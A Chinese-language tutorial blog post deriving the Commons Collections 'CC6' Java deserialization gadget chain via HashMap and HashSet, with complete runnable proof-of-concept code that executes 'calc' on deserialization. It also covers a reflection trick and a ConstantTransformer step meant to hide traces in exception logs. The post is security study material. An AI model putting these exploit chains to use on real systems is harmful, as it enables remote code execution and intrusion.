CC6
在CC1已经说过了,在JDK 8u71以后,官方修改了AnnotationInvocationHandler
的readObject()方法,导致CC1不能再利用。
所以现在需要找寻新的利用链用于解决高版本Java的问题,现在先来看这个利用链。
测试环境
- JDK 8u411
- commons-collections 3.2.1
代码调试
在前面的CC1的LazyMap链中利用的就是get()
方法,那么现在其实还可以寻找在上下文中是否还有其他调用LazyMap#get()
的类,并且要求这个可利用的类实现了Serializable接口。
在这里找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
,重点就是下面的两个方法,分别是:
1
2
3
4
5
6
7
8
9
|
//getValue()
public Object getValue() {
return this.map.get(this.key);
}
//hashCode()
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
|
在这里可以看到在hashCode()方法中调用了getValue()方法,在getValue()方法中的this.map.get(this.key);
,只要这里可以将this.map的值设置为LazyMap的实例,就又可以成为一个利用链的起始点。
所以现在需要先找到可以使用什么类来触发TiedMapEntry#hashCode()
方法,在这里,同样的有两条链子,分别是HashMap和HashSet
利用HashMap
利用链代码审计
此时我想到了URLDNS链,其中有一个步骤调用了hashCode()方法,如下:

这里就是调用的key的hashCode方法,在URLDNS中的这个key对应的是URL类实例,所以URLDNS中调用的是URL类的hashCode()方法,那么现在其实也比较简单了,先大概想一下流程:
- 这里肯定是用HashMap作为序列化以及反序列化的对象
- 很简单了,然后在反序的时候自然会到hash()方法,此时我们需要在要序列化的代码中
put
进一个key为TiedMapEntry
类的实例,让这个key等于TiedMapEntry
对象,这样就会顺利调用到TiedMapEntry
类的hashCode()
方法,然后再将TiedMapEntry
类里面的map
设置为LazyMap类的实例,这样就会成功调用到LazyMap
类的get
方法,后面就是CC1中提过的了。
流程基本清楚,现在就是如何设计代码了
然后就是看如何传入基本盘了,基本盘如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
//基本盘
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Retention.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
}
}
|
现在就是需要将这个基本盘传入TiedMapEntry类,看一下这个类的构造方法:

都是public,那么直接引入即可,所以这里的利用代码就是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map lazy = LazyMap.decorate(null,chain);
TiedMapEntry o = new TiedMapEntry(lazy,null);
HashMap hashMap = new HashMap();
hashMap.put(o,"xxx");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
报错显示在实例化LazyMap那里不能传入null,

那么我就再创一个HashMap实例进去赋值,那么测试代码就是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry o = new TiedMapEntry(lazy,null);
HashMap hashMap = new HashMap();
hashMap.put(o,"xxx");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
运行结果如下:

虽然成功弹出计算机,本来也以为只是平常的报错,然后去看了一下其他文章,发现是自己的代码有问题,首先就是在hashMap.put()
,本身的put()方法就是与HashMap#readObject()
的部分源码相同:

这样在put时就会触发一次利用链,这也是为什么会弹出计算机的原因(后面会说这个的解决方法)。
再来看这个报错内容:

这个报错内容显示我在序列化过程中试图序列化一个不可序列化的exec
执行后返回的Process
对象,然后前面的CC1却没有报这样的错,这里就看看差别(个人理解,仅供参考):
-
对于前面的错误代码:首先就是我们new了一个HashMap实例,然后我们往里面put进了一个TiedMapEntry
类实例,而在序列化HashMap
时,会遍历 HashMap
中的每个 Map.Entry
对象(即键值对),并序列化每个键值对,而对于每个 Map.Entry
,ObjectOutputStream
会调用它们的 getKey()
和 getValue()
方法来获取键和值,以便对它们进行序列化,然后ObjectOutputStream的writeObject方法就会尝试去序列化。
然后由于我们设置的值,传入了TiedMapEntry
类实例,在调用getValue()
后会进入LazyMap的get()方法从而导致整条利用链的进行,然后Runtime.getRuntime().exec("calc")
,这个调用会尝试启动一个新进程,返回一个不可序列化的 Process
对象。用一个代码测试一下是否会遍历:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import java.lang.Runtime;
import java.util.HashMap;
import java.io.Serializable;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
public class Main implements Serializable {
public static void main(String args[]) throws Exception {
HashMap o = new HashMap();
Runtime x = Runtime.getRuntime();
o.put(x,"xxx");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(o);
out.close();
}
}
|
运行结果:

说明确实在HashMap序列化的时候会遍历条目并调用writeObject()方法对其进行序列化,如果要序列化的对象没有定义writeObject()方法,就会调用默认的writeObject()方法去序列化它(对于默认个人理解应该是ObjectOutputStream的writeObject方法)。
结合前面的解释,那么就是由于调用了TiedMapEntry
的getValue()
方法,然后进行链式反应,最终会返回一个Process
对象作为这个"value",但是由于这个对象是不可被序列化的,所以最终会报错不可被序列化。
- 那么对于CC1中的LazyMap链:那里通过使用
AnnotationInvocationHandler
代理包装 LazyMap
,避免在序列化过程中触发变换器链,避免了异常。
——————
那么对于这个问题的解决方法,ysoserial早在CC1中就有了优化:


它这里是最后才将恶意transformers数组设置到transformerChain中,解决问题的方法就在这里。
同时注意看基本盘代码里面,添加了一个ConstantTransformer(1)
,这是为了隐藏异常日志中的信息,起到了隐蔽启动进程的日志特征的作用。以CC1为例看一下使用过后的差别:
使用前的特征:

使用后的特征:

使用后同样成功弹出计算机,但是这里的异常日志特征已经被改变了。
解决方法就在里面,所以我们可以在利用链的最后加上一个new ConstantTransformer(1)
,熟悉这个类的transformer()方法就可以知道,这里不会管传入的input
,这里就会直接返回一个1
,再结合正常的例如put(1,"xxx")
这种,这样在序列化时就不会报无法序列化的错误,同时也可以起到隐藏日志的作用。
所以修改后的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)});
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry o = new TiedMapEntry(lazy,null);
HashMap hashMap = new HashMap();
hashMap.put(o,"xxx");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
没有报错,但是还是没有成功反序列化,否则应该会弹出两个计算机。
调试一下,加断点如下:

在调试过程中发现如下情况

也就是这里的if条件并没有通过,还显示一个null,就是因为我在传初始化TiedMapEntry时将key设置为了null,而调用get()方法的逻辑是将key传进去了的:

这也是为什么在LazyMap的get()方法中显示的是null。
所以需要改一下POC,这里直接将key设置成一个可见字符就行了,具体看后面的代码。
同时解决一个问题:在序列化之前调用put()
时会弹出计算机的问题
思路:可以先传入一个假的“链”,在put过后再调用反射将这个利用链传回去。
看这个ChainedTransformer的利用的变量:


也就是这个iTransformers
变量,所以我们可以这样干,看代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
//先定义一个假的transformer
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
//再声明一个利用链
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
//先传入假的transformer
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
//在put过后,在序列化之前,调用反射将假的链换成真的chainpart
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
//然后再进行序列化
|
整合进全部代码就是:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
成功不再弹出由于put而引起的计算机,但是反序列化化石灭有弹出计算机。
那么为什么没有反序列化成功弹出计算机?同样调试,发现:

这里的key是fupanc,也就是我们在实例化时TiedMapEntry
传入的"fupanc",对于这里的key为fupanc很正常

但是这里的get()方法的if条件没有通过的原因,也就是说明有对象中有fupanc这个键,那么为什么会出现这个现象呢,看代码

原因就是这个,put方法追溯源码后也会调用hashCode()方法,但是我们这里传入了TiedMapEntry
类对象的outerMap,所以这里也会进入到LazyMap#get()
,剩下重点看get()方法的源码:

我们第一次确实是没有key为fupanc的键值对,但是看get()
方法的源码,在进入if条件后,这里经过transform方法返回value,在if语句的最后调用了this.map.put(key,value);
也就是调用了HashMap的put方法并传入了一个key为fupanc,value为1的键值对(Key=fupanc,Value=1),所以我们在反序列化的时候会因为对象中有这个键为fupanc
的键值对而失败。
解决方法:很简单,在调用put方法后,我们再调用remove方法来删掉这个键值对即可(一定要注意键值对所属对象的问题)。
那么最终的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashMap;
import java.util.Map;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.Runtime;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
Map haha = new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashMap hashMap = new HashMap();
hashMap.put(outerMap,"fupanc");
haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行
Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
x.setAccessible(true);
x.set(chain,chainpart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashMap);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
成功弹出计算机:

问题总结
总结前面的问题:
- 无法序列化Process对象问题
- 序列化之前弹计算机的解决方法
- 需要remove的原因。
利用HashSet链
ysoserial链介绍了java.util.HashSet
作为反序列化的入口,在HashSet类的readObject()方法的最后,会触发map.put方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Consume and ignore stream fields (currently zero).
s.readFields();
// Read capacity and verify non-negative.
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
// Read load factor and verify positive and non NaN.
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
// Clamp load factor to range of 0.25...4.0.
loadFactor = Math.min(Math.max(0.25f, loadFactor), 4.0f);
// Read size and verify non-negative.
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " + size);
}
// Set the capacity according to the size and load factor ensuring that
// the HashMap is at least 25% full but clamping to maximum capacity.
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
// Constructing the backing map will lazily create an array when the first element is
// added, so check it before construction. Call HashMap.tableSizeFor to compute the
// actual allocation size. Check Map.Entry[].class since it's the nearest public type to
// what is actually created.
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
// Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
|
重点就是最后的for循环:

这里的map同样是一个HashMap对象,HashSet类初始化时基本都是将map设置为一个初始化的HashMap类:

等构造方法。
而HashMap.put方法前面也说过,源码放过来一下:

所以然后调用hash() ==> hashCode() ==> getValue() ==> get() ==> transform()也就是我们已经熟悉的操作了。
所以在前面的HashSet#readObject()
中的e需要为TiedMapEntrry
类实例
来稍微看一下HashSet类的变量:

这里直接说明了PRESENT
的值为Object类的实例。并且注意看HashSet类的构造方法,基本上都是直接将map定义为HashMap类的实例。所以这里在利用HaseSet类时直接放心将map直接当做HashMap对象即可。
同时在HashSet中提供了一个add方法:

这个方法的作用就是向 HashSet
中添加一个元素。如果该元素已经存在于 HashSet
中,那么不会添加,并且返回 false
。否则,会将该元素添加到 HashSet
中,并返回 true
。
测试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
import java.util.HashSet;
public class Main{
public static void main(String[] args) {
HashSet hash = new HashSet();
System.out.println(hash.add("fupanc"));
System.out.println(hash.add("haha"));
System.out.println(hash.add("fupanc"));
}
}
/*output:
true
true
false
|
调试一下,在true部分加断点:

进入add()方法源码

随后确实进入了put方法,:

同时跟一下源码,确实进行了在HashMap中的put操作。为了方便理解这里的返回true和false的区别,还是用代码来说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
import java.util.HashSet;
import java.util.HashMap;
public class Main{
public static void main(String[] args) {
HashSet hash = new HashSet();
System.out.println(hash.add("fupanc"));
System.out.println(hash.add("haha"));
System.out.println(hash.add("fupanc"));
//
HashMap hashMap = new HashMap();
System.out.println(hashMap.put("fupanc","xxxx"));
System.out.println(hashMap.put("fupanc","xxxx"));
}
}
/*output:
true
true
false
null
xxxx
|
也就是在HashMap的put方法中,如果没有键则会成功放入键值对并返回null,否则就会返回键对应的值。
现在对于前面的add方法返回的布尔值就很好理解了:
- 因为成功put进了fupan键和haha键,所以返回null,与add方法中定义的
map.put(e, PRESENT)==null
等号成立,返回ture,表明成功放入键值对,
- 而由于前面已经put进了fupanc键,导致再次调用put添加fupanc键返回的是前面定义的fupanc键的value,在这里也就是Object类的实例,但这样并不与null相同,所以返回的是false,表明并没有成功放入键值对
现在也就基本通了,结合前面的HashMap的理解,可以直接编写下面的POC来测试一下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
package org.example;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.HashSet;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
public class Main{
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
Transformer[] chainPart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),new ConstantTransformer(1)};
Transformer chain = new ChainedTransformer(fakeTransformer);
HashMap haha =new HashMap();
Map lazy = LazyMap.decorate(haha,chain);
TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
HashSet hashSet = new HashSet();
hashSet.add(outerMap);
haha.remove("fupanc");
Field field1 = ChainedTransformer.class.getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(chain,chainPart);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(hashSet);
out.close();
ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
input.readObject();
input.close();
}
}
|
运行后成功弹出计算机:

需要注意的地方和前面HashMap利用链差不多,说到底这个HashSet也就是间接调用HashMap的put方法,本质是一样的。
好处
这两个利⽤链可以在Java 7和8的⾼版本触发,应该是通杀Java7、8版本的。